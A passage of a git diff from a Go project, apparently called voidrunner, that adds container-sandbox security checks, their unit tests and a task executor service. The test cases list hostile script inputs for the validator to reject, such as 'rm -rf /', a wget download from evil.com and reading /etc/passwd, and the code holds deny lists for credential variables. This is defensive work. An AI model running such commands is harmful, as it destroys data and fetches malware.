Prevent access to sensitive directories + dangerousPaths := []string{ + "/etc", "/root", "/home", "/var/log", "/var/run", "/proc", "/sys", "/dev", + "/bin", "/sbin", "/usr/bin", "/usr/sbin", "/opt/voidrunner", + } + + for _, dangerousPath := range dangerousPaths { + if strings.HasPrefix(workingDir, dangerousPath) { + return NewSecurityError("validate_working_directory", + fmt.Sprintf("working directory '%s' is in restricted path '%s'", workingDir, dangerousPath), nil) + } + } + + return nil +} + +// validateEnvironmentVariables validates environment variables for security +func (sm *SecurityManager) validateEnvironmentVariables(env []string) error { + for _, envVar := range env { + if envVar == "" { + continue + } + + // Check for dangerous environment variables + upperEnvVar := strings.ToUpper(envVar) + + dangerousPatterns := []string{ + "LD_PRELOAD=", "LD_LIBRARY_PATH=", "DOCKER_HOST=", "KUBERNETES_", + "SECRET=", "PASSWORD=", "TOKEN=", "KEY=", "CREDENTIAL=", + } + + for _, pattern := range dangerousPatterns { + if strings.HasPrefix(upperEnvVar, pattern) { + return NewSecurityError("validate_environment_variables", + fmt.Sprintf("dangerous environment variable pattern detected: %s", pattern), nil) + } + } + } + + return nil +} + +// validateSeccompProfilePath validates a seccomp profile path +func (sm *SecurityManager) validateSeccompProfilePath(profilePath string) error { + if profilePath == "" { + return NewSecurityError("validate_seccomp_profile", "seccomp profile path is empty", nil) + } + + // Ensure it's an absolute path + if !strings.HasPrefix(profilePath, "/") { + return NewSecurityError("validate_seccomp_profile", "seccomp profile path must be absolute", nil) + } + + // Validate file exists and has correct permissions + if err := sm.validateFilePermissions(profilePath, 0600); err != nil { + return fmt.Errorf("seccomp profile file validation failed: %w", err) + } + + return nil +} + +// GenerateContainerName generates a secure, unique container name +func (sm *SecurityManager) GenerateContainerName(taskID string) string { + // Use a predictable but unique naming pattern + return fmt.Sprintf("voidrunner-task-%s", taskID) +} + +// CheckImageSecurity validates that a container image is safe to use +func (sm *SecurityManager) CheckImageSecurity(image string) error { + if image == "" { + return NewSecurityError("check_image_security", "image name is empty", nil) + } + + // Whitelist of allowed base images + allowedImages := map[string]bool{ + "python:3.11-alpine": true, + "python:3.10-alpine": true, + "python:3.9-alpine": true, + "alpine:latest": true, + "alpine:3.18": true, + "alpine:3.17": true, + "node:18-alpine": true, + "node:16-alpine": true, + "golang:1.21-alpine": true, + "golang:1.20-alpine": true, + } + + if !allowedImages[image] { + return NewSecurityError("check_image_security", + fmt.Sprintf("image %s is not in the allowed list", image), nil) + } + + return nil +} + +// SanitizeEnvironment sanitizes environment variables for security +func (sm *SecurityManager) SanitizeEnvironment(env []string) []string { + var sanitized []string + + // Allowed environment variable prefixes + allowedPrefixes := []string{ + "PATH=", + "HOME=", + "USER=", + "LANG=", + "LC_", + "TZ=", + "PYTHONPATH=", + "PYTHONIOENCODING=", + "NODE_ENV=", + "GOPATH=", + "GOOS=", + "GOARCH=", + } + + // Dangerous environment variables to exclude + dangerousVars := []string{ + "LD_PRELOAD", + "LD_LIBRARY_PATH", + "DOCKER_HOST", + "KUBERNETES_", + "AWS_", + "AZURE_", + "GCP_", + "SECRET", + "PASSWORD", + "TOKEN", + "KEY", + "CREDENTIAL", + } + + for _, envVar := range env { + allowed := false + + // Check if it starts with an allowed prefix + for _, prefix := range allowedPrefixes { + if strings.HasPrefix(envVar, prefix) { + allowed = true + break + } + } + + if !allowed { + continue + } + + // Check if it contains dangerous patterns + upperEnvVar := strings.ToUpper(envVar) + dangerous := false + for _, dangerousVar := range dangerousVars { + if strings.Contains(upperEnvVar, dangerousVar) { + dangerous = true + break + } + } + + if !dangerous { + sanitized = append(sanitized, envVar) + } + } + + // Add required safe environment variables + safeDefaults := []string{ + "PATH=/usr/local/bin:/usr/bin:/bin", + "HOME=/tmp", + "USER=executor", + "PYTHONIOENCODING=utf-8", + } + + sanitized = append(sanitized, safeDefaults...) + + return sanitized +} diff --git a/internal/executor/security_test.go b/internal/executor/security_test.go new file mode 100644 index 0000000..2f398ab --- /dev/null +++ b/internal/executor/security_test.go @@ -0,0 +1,537 @@ +package executor + +import ( + "context" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "github.com/voidrunnerhq/voidrunner/internal/models" +) + +func TestNewSecurityManager(t *testing.T) { + config := NewDefaultConfig() + sm := NewSecurityManager(config) + + assert.NotNil(t, sm) + assert.Equal(t, config, sm.config) +} + +func TestSecurityManager_ValidateScriptContent(t *testing.T) { + config := NewDefaultConfig() + sm := NewSecurityManager(config) + + tests := []struct { + name string + content string + scriptType models.ScriptType + expectErr bool + errPattern string + }{ + { + name: "Safe Python script", + content: "print('Hello, World!')", + scriptType: models.ScriptTypePython, + expectErr: false, + }, + { + name: "Safe Python with math import", + content: "import math\nprint(math.sqrt(16))", + scriptType: models.ScriptTypePython, + expectErr: false, + }, + { + name: "Safe Python with json import", + content: "import json\ndata = {'key': 'value'}\nprint(json.dumps(data))", + scriptType: models.ScriptTypePython, + expectErr: false, + }, + { + name: "Safe Python with datetime import", + content: "from datetime import datetime\nprint(datetime.now())", + scriptType: models.ScriptTypePython, + expectErr: false, + }, + { + name: "Safe Bash script", + content: "# Simple comment", + scriptType: models.ScriptTypeBash, + expectErr: false, + }, + { + name: "Safe Bash with pipe", + content: "echo 'hello' | grep 'hello'", + scriptType: models.ScriptTypeBash, + expectErr: false, + }, + { + name: "Safe Bash with redirection", + content: "echo 'test' > output.txt", + scriptType: models.ScriptTypeBash, + expectErr: false, + }, + { + name: "Safe Bash with logical operators", + content: "test -f file.txt && echo 'file exists' || echo 'file not found'", + scriptType: models.ScriptTypeBash, + expectErr: false, + }, + { + name: "Safe JavaScript with console.log", + content: "console.log('Hello, World!');", + scriptType: models.ScriptTypeJavaScript, + expectErr: false, + }, + { + name: "Safe JavaScript with math operations", + content: "const result = Math.sqrt(16);\nconsole.log(result);", + scriptType: models.ScriptTypeJavaScript, + expectErr: false, + }, + { + name: "Safe JavaScript with safe require", + content: "const crypto = require('crypto');\nconsole.log(crypto.randomBytes(16).toString('hex'));", + scriptType: models.ScriptTypeJavaScript, + expectErr: false, + }, + { + name: "Empty script", + content: "", + scriptType: models.ScriptTypePython, + expectErr: true, + errPattern: "script content is empty", + }, + { + name: "Dangerous rm command", + content: "rm -rf /", + scriptType: models.ScriptTypeBash, + expectErr: true, + errPattern: "rm -rf", + }, + { + name: "Network access attempt", + content: "wget http://evil.com/malware", + scriptType: models.ScriptTypeBash, + expectErr: true, + errPattern: "wget", + }, + { + name: "Docker escape attempt", + content: "docker run -it ubuntu /bin/bash", + scriptType: models.ScriptTypeBash, + expectErr: true, + errPattern: "docker", + }, + { + name: "Python dangerous import os", + content: "import os\nos.system('rm -rf /')", + scriptType: models.ScriptTypePython, + expectErr: true, + errPattern: "dangerous Python import detected: import os", + }, + { + name: "Python subprocess import", + content: "import subprocess\nsubprocess.run(['ls'])", + scriptType: models.ScriptTypePython, + expectErr: true, + errPattern: "dangerous Python import detected: import subprocess", + }, + { + name: "Python sys import", + content: "import sys\nprint(sys.version)", + scriptType: models.ScriptTypePython, + expectErr: true, + errPattern: "dangerous Python import detected: import sys", + }, + { + name: "Python eval function", + content: "eval('print(\"hello\")')", + scriptType: models.ScriptTypePython, + expectErr: true, + errPattern: "dangerous Python pattern detected: eval(", + }, + { + name: "Python exec function", + content: "exec('print(\"hello\")')", + scriptType: models.ScriptTypePython, + expectErr: true, + errPattern: "dangerous Python pattern detected: exec(", + }, + { + name: "Python globals function", + content: "print(globals())", + scriptType: models.ScriptTypePython, + expectErr: true, + errPattern: "dangerous Python pattern detected: globals()", + }, + { + name: "Bash dangerous file access", + content: "cat /etc/passwd | grep root", + scriptType: models.ScriptTypeBash, + expectErr: true, + errPattern: "dangerous Bash pattern detected: passwd", + }, + { + name: "Bash dangerous redirection", + content: "echo 'test' > /etc/hosts", + scriptType: models.ScriptTypeBash, + expectErr: true, + errPattern: "dangerous Bash pattern detected: > /", + }, + { + name: "Bash sudo attempt", + content: "sudo rm -rf /", + scriptType: models.ScriptTypeBash, + expectErr: true, + errPattern: "dangerous Bash pattern detected: sudo ", + }, + { + name: "Bash network command", + content: "ping google.com", + scriptType: models.ScriptTypeBash, + expectErr: true, + errPattern: "dangerous Bash pattern detected: ping ", + }, + { + name: "Bash backtick command substitution", + content: "echo `whoami`", + scriptType: models.ScriptTypeBash, + expectErr: true, + errPattern: "backtick command substitution detected", + }, + { + name: "JavaScript dangerous require fs", + content: "const fs = require('fs');", + scriptType: models.ScriptTypeJavaScript, + expectErr: true, + errPattern: "dangerous JavaScript pattern detected: require('fs')", + }, + { + name: "JavaScript dangerous require child_process", + content: "const cp = require('child_process');", + scriptType: models.ScriptTypeJavaScript, + expectErr: true, + errPattern: "dangerous JavaScript pattern detected: require('child_process')", + }, + { + name: "JavaScript eval function", + content: "eval('console.log(\"hello\")')", + scriptType: models.ScriptTypeJavaScript, + expectErr: true, + errPattern: "dangerous JavaScript pattern detected: eval(", + }, + { + name: "JavaScript process access", + content: "console.log(process.env.HOME)", + scriptType: models.ScriptTypeJavaScript, + expectErr: true, + errPattern: "dangerous JavaScript pattern detected: process.env", + }, + { + name: "JavaScript global object access", + content: "console.log(global.process)", + scriptType: models.ScriptTypeJavaScript, + expectErr: true, + errPattern: "dangerous JavaScript pattern detected: global.", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + err := sm.ValidateScriptContent(tt.content, tt.scriptType) + if tt.expectErr { + require.Error(t, err) + if tt.errPattern != "" { + assert.Contains(t, err.Error(), tt.errPattern) + } + } else { + require.NoError(t, err) + } + }) + } +} + +func TestSecurityManager_BuildSecurityConfig(t *testing.T) { + config := NewDefaultConfig() + sm := NewSecurityManager(config) + + task := &models.Task{ + ScriptType: models.ScriptTypePython, + ScriptContent: "print('Hello, World!')", + } + + securityConfig, err := sm.BuildSecurityConfig(task) + require.NoError(t, err) + require.NotNil(t, securityConfig) + + assert.Equal(t, "1000:1000", securityConfig.User) + assert.True(t, securityConfig.NoNewPrivileges) + assert.True(t, securityConfig.ReadOnlyRootfs) + assert.True(t, securityConfig.NetworkDisabled) + assert.True(t, securityConfig.DropAllCapabilities) + assert.Contains(t, securityConfig.SecurityOpts, "no-new-privileges") + assert.NotEmpty(t, securityConfig.TmpfsMounts) +} + +func TestSecurityManager_BuildSecurityConfig_NilTask(t *testing.T) { + config := NewDefaultConfig() + sm := NewSecurityManager(config) + + securityConfig, err := sm.BuildSecurityConfig(nil) + require.Error(t, err) + assert.Nil(t, securityConfig) + assert.Contains(t, err.Error(), "task is nil") +} + +func TestSecurityManager_BuildSecurityConfig_InvalidScript(t *testing.T) { + config := NewDefaultConfig() + sm := NewSecurityManager(config) + + task := &models.Task{ + ScriptType: models.ScriptTypePython, + ScriptContent: "import os\nos.system('rm -rf /')", + } + + securityConfig, err := sm.BuildSecurityConfig(task) + require.Error(t, err) + assert.Nil(t, securityConfig) + assert.Contains(t, err.Error(), "script security validation failed") +} + +func TestSecurityManager_CheckImageSecurity(t *testing.T) { + config := NewDefaultConfig() + sm := NewSecurityManager(config) + + tests := []struct { + name string + image string + expectErr bool + }{ + { + name: "Allowed Python image", + image: "python:3.11-alpine", + expectErr: false, + }, + { + name: "Allowed Alpine image", + image: "alpine:latest", + expectErr: false, + }, + { + name: "Allowed Node image", + image: "node:18-alpine", + expectErr: false, + }, + { + name: "Disallowed Ubuntu image", + image: "ubuntu:latest", + expectErr: true, + }, + { + name: "Disallowed custom image", + image: "malicious/image:latest", + expectErr: true, + }, + { + name: "Empty image name", + image: "", + expectErr: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + err := sm.CheckImageSecurity(tt.image) + if tt.expectErr { + require.Error(t, err) + } else { + require.NoError(t, err) + } + }) + } +} + +func TestSecurityManager_SanitizeEnvironment(t *testing.T) { + config := NewDefaultConfig() + sm := NewSecurityManager(config) + + input := []string{ + "PATH=/usr/bin:/bin", + "HOME=/home/user", + "SECRET_KEY=mysecret", + "AWS_ACCESS_KEY=key", + "DOCKER_HOST=unix:///var/run/docker.sock", + "PYTHONPATH=/usr/lib/python", + "LD_PRELOAD=/malicious.so", + "USER=testuser", + "LANG=en_US.UTF-8", + } + + sanitized := sm.SanitizeEnvironment(input) + + // Check that safe variables are included + assert.Contains(t, sanitized, "PATH=/usr/bin:/bin") + assert.Contains(t, sanitized, "HOME=/home/user") + assert.Contains(t, sanitized, "PYTHONPATH=/usr/lib/python") + assert.Contains(t, sanitized, "USER=testuser") + assert.Contains(t, sanitized, "LANG=en_US.UTF-8") + + // Check that dangerous variables are excluded + for _, env := range sanitized { + assert.NotContains(t, env, "SECRET_KEY") + assert.NotContains(t, env, "AWS_ACCESS_KEY") + assert.NotContains(t, env, "DOCKER_HOST") + assert.NotContains(t, env, "LD_PRELOAD") + } + + // Check that default safe variables are added + foundDefaults := 0 + for _, env := range sanitized { + if env == "PATH=/usr/local/bin:/usr/bin:/bin" || + env == "HOME=/tmp" || + env == "USER=executor" || + env == "PYTHONIOENCODING=utf-8" { + foundDefaults++ + } + } + assert.Greater(t, foundDefaults, 0, "Should include default safe environment variables") +} + +// createValidContainerConfig creates a valid container configuration for testing +func createValidContainerConfig() *ContainerConfig { + return &ContainerConfig{ + Image: "python:3.11-alpine", + WorkingDir: "/tmp/workspace", + Environment: []string{"PATH=/usr/local/bin:/usr/bin:/bin"}, + SecurityConfig: SecurityConfig{ + User: "1000:1000", + ReadOnlyRootfs: true, + NetworkDisabled: true, + NoNewPrivileges: true, + DropAllCapabilities: true, + SecurityOpts: []string{"no-new-privileges"}, + TmpfsMounts: map[string]string{ + "/tmp": "rw,noexec,nosuid,size=100m", + }, + }, + ResourceLimits: ResourceLimits{ + MemoryLimitBytes: 128 * 1024 * 1024, + CPUQuota: 50000, + PidsLimit: 128, + TimeoutSeconds: 300, + }, + Timeout: 300 * time.Second, + } +} + +func TestSecurityManager_ValidateContainerConfig(t *testing.T) { + config := NewDefaultConfig() + sm := NewSecurityManager(config) + + tests := []struct { + name string + config *ContainerConfig + expectErr bool + errMsg string + }{ + { + name: "Valid container config", + config: createValidContainerConfig(), + expectErr: false, + }, + { + name: "Nil container config", + config: nil, + expectErr: true, + errMsg: "container config is nil", + }, + { + name: "Root user not allowed", + config: func() *ContainerConfig { + cfg := createValidContainerConfig() + cfg.SecurityConfig.User = "root" + return cfg + }(), + expectErr: true, + errMsg: "root user execution is not allowed", + }, + { + name: "Read-only filesystem required", + config: func() *ContainerConfig { + cfg := createValidContainerConfig() + cfg.SecurityConfig.ReadOnlyRootfs = false + return cfg + }(), + expectErr: true, + errMsg: "read-only root filesystem must be enabled", + }, + { + name: "Network must be disabled", + config: func() *ContainerConfig { + cfg := createValidContainerConfig() + cfg.SecurityConfig.NetworkDisabled = false + return cfg + }(), + expectErr: true, + errMsg: "network must be disabled for security", + }, + { + name: "Memory limit too high", + config: func() *ContainerConfig { + cfg := createValidContainerConfig() + cfg.ResourceLimits.MemoryLimitBytes = 2 * 1024 * 1024 * 1024 // 2GB + return cfg + }(), + expectErr: true, + errMsg: "memory limit (2147483648 bytes) exceeds maximum allowed (1073741824 bytes)", + }, + { + name: "Timeout too long", + config: func() *ContainerConfig { + cfg := createValidContainerConfig() + cfg.Timeout = 3700 * time.Second // More than 1 hour + return cfg + }(), + expectErr: true, + errMsg: "timeout exceeds maximum allowed (3600 seconds)", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + err := sm.ValidateContainerConfig(tt.config) + if tt.expectErr { + require.Error(t, err) + if tt.errMsg != "" { + assert.Contains(t, err.Error(), tt.errMsg) + } + } else { + require.NoError(t, err) + } + }) + } +} + +func TestSecurityManager_GenerateContainerName(t *testing.T) { + config := NewDefaultConfig() + sm := NewSecurityManager(config) + + taskID := "123e4567-e89b-12d3-a456-426614174000" + name := sm.GenerateContainerName(taskID) + + expected := "voidrunner-task-123e4567-e89b-12d3-a456-426614174000" + assert.Equal(t, expected, name) +} + +func TestSecurityManager_CreateSeccompProfile(t *testing.T) { + config := NewDefaultConfig() + sm := NewSecurityManager(config) + + ctx := context.Background() + profilePath, err := sm.CreateSeccompProfile(ctx) + + require.NoError(t, err) + assert.NotEmpty(t, profilePath) + assert.Contains(t, profilePath, "seccomp-profile.json") +} diff --git a/internal/services/task_executor_service.go b/internal/services/task_executor_service.go new file mode 100644 index 0000000..7079548 --- /dev/null +++ b/internal/services/task_executor_service.go @@ -0,0 +1,308 @@ +package services + +import ( + "context" + "fmt" + "log/slog" + "time" + + "github.com/google/uuid" + "github.com/voidrunnerhq/voidrunner/internal/database" + "github.com/voidrunnerhq/voidrunner/internal/executor" + "github.com/voidrunnerhq/voidrunner/internal/models" +) + +// TaskExecutorService integrates the task execution engine with the executor +type TaskExecutorService struct { + taskExecutionService *TaskExecutionService + taskRepo database.TaskRepository + executor executor.TaskExecutor + cleanupManager *executor.CleanupManager + logger *slog.Logger +} + +// NewTaskExecutorService creates a new task executor service +func NewTaskExecutorService( + taskExecutionService *TaskExecutionService, + taskRepo database.TaskRepository, + executor executor.TaskExecutor, + cleanupManager *executor.CleanupManager, + logger *slog.Logger, +) *TaskExecutorService { + return &TaskExecutorService{ + taskExecutionService: taskExecutionService, + taskRepo: taskRepo, + executor: executor, + cleanupManager: cleanupManager, + logger: logger, + } +} + +// ExecuteTask executes a task using the container executor +func (s *TaskExecutorService) ExecuteTask(ctx context.Context, taskID uuid.UUID, userID uuid.UUID) (*models.TaskExecution, error) { + logger := s.logger.With( + "task_id", taskID.String(), + "user_id", userID.String(), + "operation", "execute_task", + ) + + logger.Info("starting task execution") + + // First, create the execution record and update task status + execution, err := s.taskExecutionService.CreateExecutionAndUpdateTaskStatus(ctx, taskID, userID) + if err != nil { + logger.Error("failed to create execution record", "error", err) + return nil, fmt.Errorf("failed to create execution record: %w", err) + } + + // Get the task details for execution + task, err := s.getTaskByID(ctx, taskID) + if err != nil { + // Rollback the execution if we can't get task details + if rollbackErr := s.rollbackExecution(ctx, execution.ID, userID); rollbackErr != nil { + logger.Error("failed to rollback execution after task fetch error", "rollback_error", rollbackErr) + } + return nil, fmt.Errorf("failed to get task details: %w", err) + } + + // Start background execution + go s.executeTaskAsync(ctx, task, execution, userID) + + logger.Info("task execution started asynchronously", "execution_id", execution.ID.String()) + return execution, nil +} + +// executeTaskAsync performs the actual task execution in the background +func (s *TaskExecutorService) executeTaskAsync(ctx context.Context, task *models.Task, execution *models.TaskExecution, userID uuid.UUID) { + logger := s.logger.With( + "task_id", task.ID.String(), + "execution_id", execution.ID.String(), + "user_id", userID.String(), + "operation", "execute_task_async", + ) + + logger.Info("starting background task execution") + + // Note: Container registration will happen in the executor after container creation + + // Mark execution as running + if err := s.updateExecutionStatus(ctx, execution.ID, models.ExecutionStatusRunning, userID); err != nil { + logger.Error("failed to mark execution as running", "error", err) + // Continue with execution anyway + } + + // Build execution context + execCtx := &executor.ExecutionContext{ + Task: task, + Execution: execution, + Context: ctx, + Timeout: time.Duration(task.TimeoutSeconds) * time.Second, + ResourceLimits: executor.ResourceLimits{ + MemoryLimitBytes: 128 * 1024 * 1024, // 128MB default + CPUQuota: 50000, // 0.5 CPU core + PidsLimit: 128, // Max 128 processes + TimeoutSeconds: task.TimeoutSeconds, + }, + } + + // Execute the task + result, err := s.executor.Execute(ctx, execCtx) + if err != nil { + logger.Error("task execution failed", "error", err) + if result == nil { + result = &executor.ExecutionResult{ + Status: models.ExecutionStatusFailed, + Stderr: stringPtr(fmt.Sprintf("Execution error: %s", err.Error())), + } + } + } + + // Update execution with results + if err := s.updateExecutionWithResults(ctx, execution.ID, result, userID); err != nil { + logger.Error("failed to update execution with results", "error", err) + } + + // Cleanup resources (skip if cleanup manager not available, e.g., for mock executor) + if s.cleanupManager != nil { + if err := s.cleanupManager.CleanupExecution(ctx, execution.ID); err != nil { + logger.Error("failed to cleanup execution resources", "error", err) + } + } + + logger.Info("background task execution completed", + "status", result.Status, + "duration_ms", result.ExecutionTimeMs) +} + +// updateExecutionStatus updates the execution status +func (s *TaskExecutorService) updateExecutionStatus(ctx context.Context, executionID uuid.UUID, status models.ExecutionStatus, userID uuid.UUID) error { + // Create repositories from the connection + repos := database.NewRepositories(s.taskExecutionService.conn) + return repos.TaskExecutions.UpdateStatus(ctx, executionID, status) +} + +// updateExecutionWithResults updates the execution with the execution results +func (s *TaskExecutorService) updateExecutionWithResults(ctx context.Context, executionID uuid.UUID, result *executor.ExecutionResult, userID uuid.UUID) error { + // Convert executor result to task execution model + execution := &models.TaskExecution{ + ID: executionID, + Status: result.Status, + ReturnCode: result.ReturnCode, + Stdout: result.Stdout, + Stderr: result.Stderr, + ExecutionTimeMs: result.ExecutionTimeMs, + MemoryUsageBytes: result.MemoryUsageBytes, + StartedAt: result.StartedAt, + CompletedAt: result.CompletedAt, + } + + // Determine task status based on execution status + var taskStatus models.TaskStatus + switch result.Status { + case models.ExecutionStatusCompleted: + taskStatus = models.TaskStatusCompleted + case models.ExecutionStatusFailed: + taskStatus = models.TaskStatusFailed + case models.ExecutionStatusTimeout: + taskStatus = models.TaskStatusTimeout + case models.ExecutionStatusCancelled: + taskStatus = models.TaskStatusCancelled + default: + taskStatus = models.TaskStatusFailed // Fallback + } + + // Use the existing service method to update both execution and task status atomically + return s.taskExecutionService.CompleteExecutionAndFinalizeTaskStatus(ctx, execution, taskStatus, userID) +} + +// rollbackExecution rolls back an execution when something goes wrong during setup +func (s *TaskExecutorService) rollbackExecution(ctx context.Context, executionID uuid.UUID, userID uuid.UUID) error { + return s.taskExecutionService.CancelExecutionAndResetTaskStatus(ctx, executionID, userID) +} + +// CancelTaskExecution cancels a running task execution +func (s *TaskExecutorService) CancelTaskExecution(ctx context.Context, executionID uuid.UUID, userID uuid.UUID) error { + logger := s.logger.With( + "execution_id", executionID.String(), + "user_id", userID.String(), + "operation", "cancel_execution", + ) + + logger.Info("cancelling task execution") + + // Cancel in the executor + if err := s.executor.Cancel(ctx, executionID); err != nil { + logger.Warn("executor cancellation failed", "error", err) + // Continue with database cancellation anyway + } + + // Cleanup resources (skip if cleanup manager not available, e.g., for mock executor) + if s.cleanupManager != nil { + if err := s.cleanupManager.CleanupExecution(ctx, executionID); err != nil { + logger.Warn("cleanup failed during cancellation", "error", err) + } + } + + // Cancel in the database + if err := s.taskExecutionService.CancelExecutionAndResetTaskStatus(ctx, executionID, userID); err != nil { + logger.Error("failed to cancel execution in database", "error", err) + return fmt.Errorf("failed to cancel execution: %w", err) + } + + logger.Info("task execution cancelled successfully") + return nil +} + +// GetExecutorHealth checks if the executor is healthy +func (s *TaskExecutorService) GetExecutorHealth(ctx context.Context) error { + return s.executor.IsHealthy(ctx) +} + +// GetExecutionStats returns statistics about running executions +func (s *TaskExecutorService) GetExecutionStats() executor.CleanupStats { + if s.cleanupManager != nil { + return s.cleanupManager.GetStats() + } + // Return empty stats for mock executor + return executor.CleanupStats{} +} + +// CleanupStaleExecutions cleans up executions that have been running too long +func (s *TaskExecutorService) CleanupStaleExecutions(ctx context.Context, maxAge time.Duration) error { + logger := s.logger.With("operation", "cleanup_stale_executions", "max_age", maxAge.String()) + + logger.Info("starting stale execution cleanup") + + // Skip cleanup if cleanup manager not available (e.g., for mock executor) + if s.cleanupManager != nil { + if err := s.cleanupManager.CleanupStaleContainers(ctx, maxAge); err != nil { + logger.Error("stale execution cleanup failed", "error", err) + return fmt.Errorf("failed to cleanup stale executions: %w", err) + } + } else { + logger.Debug("cleanup manager not available, skipping stale container cleanup") + } + + logger.Info("stale execution cleanup completed") + return nil +} + +// Shutdown gracefully shuts down the executor service +func (s *TaskExecutorService) Shutdown(ctx context.Context) error { + logger := s.logger.With("operation", "shutdown") + + logger.Info("shutting down task executor service") + + // Cleanup all remaining resources (skip if cleanup manager not available) + if s.cleanupManager != nil { + if err := s.cleanupManager.Stop(ctx); err != nil { + logger.Error("cleanup manager shutdown failed", "error", err) + } + } + + // Shutdown executor + if err := s.executor.Cleanup(ctx); err != nil { + logger.Error("executor cleanup failed", "error", err) + return fmt.Errorf("failed to cleanup executor: %w", err) + } + + logger.Info("task executor service shutdown completed") + return nil +} + +// getTaskByID is a helper to get task details +func (s *TaskExecutorService) getTaskByID(ctx context.Context, taskID uuid.UUID) (*models.Task, error) { + task, err := s.taskRepo.GetByID(ctx, taskID) + if err != nil { + if err == database.ErrTaskNotFound { + return nil, fmt.Errorf("task not found") + } + return nil, fmt.Errorf("failed to get task: %w", err) + } + return task, nil +} + +// Interface implementation methods for TaskExecutionServiceInterface compatibility + +// CreateExecutionAndUpdateTaskStatus creates an execution and starts actual task execution +func (s *TaskExecutorService) CreateExecutionAndUpdateTaskStatus(ctx context.Context, taskID uuid.UUID, userID uuid.UUID) (*models.TaskExecution, error) { + // This method starts actual execution, not just database operations + return s.ExecuteTask(ctx, taskID, userID) +} + +// CancelExecutionAndResetTaskStatus cancels an execution and resets task status +func (s *TaskExecutorService) CancelExecutionAndResetTaskStatus(ctx context.Context, executionID uuid.UUID, userID uuid.UUID) error { + return s.CancelTaskExecution(ctx, executionID, userID) +} + +// CompleteExecutionAndFinalizeTaskStatus is already handled internally by executeTaskAsync +func (s *TaskExecutorService) CompleteExecutionAndFinalizeTaskStatus(ctx context.Context, execution *models.TaskExecution, taskStatus models.TaskStatus, userID uuid.UUID) error { + // This is already handled internally by the async execution process + // For external callers, we can delegate to the internal service + return s.taskExecutionService.CompleteExecutionAndFinalizeTaskStatus(ctx, execution, taskStatus, userID) +} + +// Helper function to create string pointer +func stringPtr(s string) *string { + return &s +} diff --git a/tests/integration/auth_test.go b/tests/integration/auth_test.go index eccb4ce..879cf27 100644 --- a/tests/integration/auth_test.go +++ b/tests/integration/auth_test.go @@ -16,6 +16,7 @@ import ( "github.com/voidrunnerhq/voidrunner/internal/auth" "github.com/voidrunnerhq/voidrunner/internal/config" "github.com/voidrunnerhq/voidrunner/internal/models" + "github.com/voidrunnerhq/voidrunner/internal/services" "github.com/voidrunnerhq/voidrunner/pkg/logger" "github.com/voidrunnerhq/voidrunner/tests/testutil" ) @@ -53,7 +54,9 @@ func (s *AuthIntegrationSuite) SetupSuite() { // Setup router with full middleware stack router := gin.New() - routes.Setup(router, s.Config, log, s.DB.DB, s.DB.Repositories, s.AuthService) + taskExecutionService := services.NewTaskExecutionService(s.DB.DB, log.Logger) + var taskExecutorService *services.TaskExecutorService // nil is fine for auth tests + routes.Setup(router, s.Config, log, s.DB.DB, s.DB.Repositories, s.AuthService, taskExecutionService, taskExecutorService) // Initialize helpers s.HTTP = testutil.NewHTTPHelper(router, s.AuthService) diff --git a/tests/integration/contract_test.go b/tests/integration/contract_test.go index 3e5caa4..bff01d4 100644 --- a/tests/integration/contract_test.go +++ b/tests/integration/contract_test.go @@ -18,6 +18,7 @@ import ( "github.com/voidrunnerhq/voidrunner/internal/auth" "github.com/voidrunnerhq/voidrunner/internal/database" "github.com/voidrunnerhq/voidrunner/internal/models" + "github.com/voidrunnerhq/voidrunner/internal/services" "github.com/voidrunnerhq/voidrunner/pkg/logger" "github.com/voidrunnerhq/voidrunner/tests/testutil" ) @@ -59,7 +60,9 @@ func (s *ContractTestSuite) SetupSuite() { // Setup router s.router = gin.New() - routes.Setup(s.router, cfg, log, s.db, s.repos, s.authService) + taskExecutionService := services.NewTaskExecutionService(s.db, log.Logger) + var taskExecutorService *services.TaskExecutorService // nil is fine for contract tests + routes.Setup(s.router, cfg, log, s.db, s.repos, s.authService, taskExecutionService, taskExecutorService) // Initialize OpenAPI validator s.validator = testutil.NewOpenAPIValidator() diff --git a/tests/integration/e2e_test.go b/tests/integration/e2e_test.go index cfd8b64..9f48755 100644 --- a/tests/integration/e2e_test.go +++ b/tests/integration/e2e_test.go @@ -16,7 +16,9 @@ import ( "github.com/voidrunnerhq/voidrunner/internal/api/routes" "github.com/voidrunnerhq/voidrunner/internal/auth" "github.com/voidrunnerhq/voidrunner/internal/config" + "github.com/voidrunnerhq/voidrunner/internal/executor" "github.com/voidrunnerhq/voidrunner/internal/models" + "github.com/voidrunnerhq/voidrunner/internal/services" "github.com/voidrunnerhq/voidrunner/pkg/logger" "github.com/voidrunnerhq/voidrunner/tests/testutil" ) @@ -51,7 +53,20 @@ func (s *E2EIntegrationSuite) SetupSuite() { // Setup router with full middleware stack router := gin.New() - routes.Setup(router, s.Config, log, s.DB.DB, s.DB.Repositories, s.AuthService) + taskExecutionService := services.NewTaskExecutionService(s.DB.DB, log.Logger) + + // Create mock executor for e2e tests + executorConfig := executor.NewDefaultConfig() + mockExecutor := executor.NewMockExecutor(executorConfig, log.Logger) + taskExecutorService := services.NewTaskExecutorService( + taskExecutionService, + s.DB.Repositories.Tasks, + mockExecutor, + nil, // cleanup manager not needed for mock executor + log.Logger, + ) + + routes.Setup(router, s.Config, log, s.DB.DB, s.DB.Repositories, s.AuthService, taskExecutionService, taskExecutorService) // Initialize helpers s.HTTP = testutil.NewHTTPHelper(router, s.AuthService) diff --git a/tests/testutil/suite.go b/tests/testutil/suite.go index b04684c..491df90 100644 --- a/tests/testutil/suite.go +++ b/tests/testutil/suite.go @@ -9,6 +9,8 @@ import ( "github.com/voidrunnerhq/voidrunner/internal/api/routes" "github.com/voidrunnerhq/voidrunner/internal/auth" "github.com/voidrunnerhq/voidrunner/internal/config" + "github.com/voidrunnerhq/voidrunner/internal/executor" + "github.com/voidrunnerhq/voidrunner/internal/services" "github.com/voidrunnerhq/voidrunner/pkg/logger" ) @@ -43,7 +45,20 @@ func (s *IntegrationTestSuite) SetupSuite() { // Setup router with full routes router := gin.New() - routes.Setup(router, s.DB.Config, log, s.DB.DB, s.DB.Repositories, authService) + taskExecutionService := services.NewTaskExecutionService(s.DB.DB, log.Logger) + + // Create mock executor for integration tests + executorConfig := executor.NewDefaultConfig() + 